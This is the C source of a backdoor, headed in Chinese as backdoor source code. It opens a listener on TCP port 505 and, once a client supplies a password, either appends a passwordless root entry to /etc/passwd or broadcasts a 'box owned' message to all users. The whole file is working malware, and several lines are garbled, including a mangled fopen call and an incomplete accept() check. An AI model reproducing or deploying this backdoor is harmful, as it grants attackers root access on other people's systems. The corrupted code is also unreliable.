backdoor..cpp

backdoor源代码

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#define PORT 505 
#define MAXDATASIZE 100 
#define BACKLOG 10 

void handle(char *command); 
int main(int argc, char *argv[]) 
{ 
int sockfd, new_fd, sin_size, numbytes; 
char *bytes; 
struct sockaddr_in my_addr; 
struct sockaddr_in their_addr; 

char buf[MAXDATASIZE]; 
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to 
send '7h1s b0x 1s 0wn3d' to all people on the box: "; 
if (argc != 2) { 
fprintf(stderr,"Usage: %s password\n", argv[0]); 
exit(1); 
} 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
perror("socket"); 
exit(1); 
} 
my_addr.sin_family = AF_INET; 
my_addr.sin_port = htons(PORT); 
my_addr.sin_addr.s_addr = INADDR_ANY; 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) 
{ 
perror("bind"); 
exit(1); 
} 
if (listen(sockfd, BACKLOG) == -1) { 
perror("listen"); 
exit(1); 

} 

while(1) { /* main accept() loop */ 

sin_size = sizeof(struct sockaddr_in); 
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ 
&sin_size)) == 
{ 
perror("accept"); 
continue; 
} 

inet_ntoa(their_addr.sin_addr); 
if (!fork()) { 
recv(new_fd, buf, 
MAXDATASIZE, 0); 
bytes = strstr(buf, argv[1]); 


if (bytes != NULL){ 

send(new_fd, ask, sizeof(ask), 0); 

numbytes=recv(new_fd, buf, 
MAXDATASIZE, 0); 
buf[numbytes] = '\0'; 
handle(buf); 
} 
close(new_fd); 
exit(0); 
} 
close(new_fd); 

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child 
processes */ 
} 
} 

void handle(char *command) 
{ 
FILE *fle; 
if(strstr(command, "1") != NULL) 
{ 
fle = f0/*n("/etc/passwd", "a*/; 
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash"); 
fclose(fle); 
} 
if(strstr(command, "2") != NULL) 
{ 
system("wall 7h1s b0x 1s 0wn3d"); 
} 
}